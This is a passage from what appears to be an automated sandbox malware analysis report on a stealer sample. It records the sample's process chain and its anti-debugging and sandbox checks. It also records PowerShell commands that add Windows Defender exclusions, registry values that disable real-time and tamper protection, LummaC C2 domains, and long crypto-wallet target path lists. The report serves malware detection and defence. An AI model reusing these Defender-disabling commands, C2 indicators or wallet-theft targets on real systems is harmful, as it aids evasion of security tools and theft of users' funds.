Control Blocks. Please,
Source: FBKJDGCG.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: FBKJDGCG.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe

Code function: 3_2_00BED059 rdtsc

3_2_00BED059

Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe

Code function: 3_2_00BFF32A LdrInitializeThunk,

3_2_00BFF32A

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Code function: 5_2_6CA6AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

5_2_6CA6AC62

Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Code function: 5_2_6CA6AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

5_2_6CA6AC62

Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: NTJ5FCNZGEJS945U0MUPLHRT.exe PID: 2224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: install1.exe PID: 3768, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\2C55.tmp\2C56.tmp\2C57.bat, type: DROPPED

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp"

LummaC encrypted strings found

Source: uLkHEqZ3u3.exe, 00000000.00000003.2132373583.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: uLkHEqZ3u3.exe, 00000000.00000003.2132373583.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: uLkHEqZ3u3.exe, 00000000.00000003.2132373583.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: uLkHEqZ3u3.exe, 00000000.00000003.2132373583.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: uLkHEqZ3u3.exe, 00000000.00000003.2132373583.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: uLkHEqZ3u3.exe, 00000000.00000003.2132373583.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: uLkHEqZ3u3.exe, 00000000.00000003.2132373583.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: uLkHEqZ3u3.exe, 00000000.00000003.2132373583.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: uLkHEqZ3u3.exe, 00000000.00000003.2132373583.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\CGIJECFIEC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\CGIJECFIEC.exe "C:\Users\user\Documents\CGIJECFIEC.exe"
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe "C:\Users\user\AppData\Local\Temp\1020057001\install1.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp"

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Code function: 5_2_6CAB4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

5_2_6CAB4760

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Code function: 5_2_6C991C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

5_2_6C991C30

Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3068736937.0000000000D4C000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: 8Program Manager
Source: CGIJECFIEC.exe, 00000010.00000002.3094565084.0000000000831000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 00000011.00000002.3121474126.0000000000451000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000012.00000002.3121549798.0000000000451000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Program Manager
Source: DZKPIL2C5DR0YB6M.exe, DZKPIL2C5DR0YB6M.exe, 00000003.00000002.2586007254.0000000000C44000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: &SProgram Manager

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Code function: 5_2_6CA6AE71 cpuid

5_2_6CA6AE71

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Code function: 5_2_6CA6A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_6CA6A8DC

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Code function: 5_2_6C9B8390 NSS_GetVersion,

5_2_6C9B8390

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: uLkHEqZ3u3.exe, 00000000.00000003.2321826250.00000000014D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ows Defender\MsMpeng.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2435354753.00000000014D7000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2359153899.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2321826250.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2435131832.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2321826250.00000000014A3000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2435131832.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 16.2.CGIJECFIEC.exe.600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.skotes.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.skotes.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.skotes.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.3377458420.0000000000221000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3093466078.0000000000601000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3120502766.0000000000221000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3120430275.0000000000221000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: uLkHEqZ3u3.exe PID: 5584, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000005.00000002.3070581641.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3066735330.0000000000931000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2497344079.0000000005250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NTJ5FCNZGEJS945U0MUPLHRT.exe PID: 2224, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: NTJ5FCNZGEJS945U0MUPLHRT.exe PID: 2224, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: uLkHEqZ3u3.exe	String found in binary or memory: Wallets/Electrum-LTC
Source: uLkHEqZ3u3.exe	String found in binary or memory: Wallets/ElectronCash
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: uLkHEqZ3u3.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: uLkHEqZ3u3.exe	String found in binary or memory: window-state.json
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: uLkHEqZ3u3.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
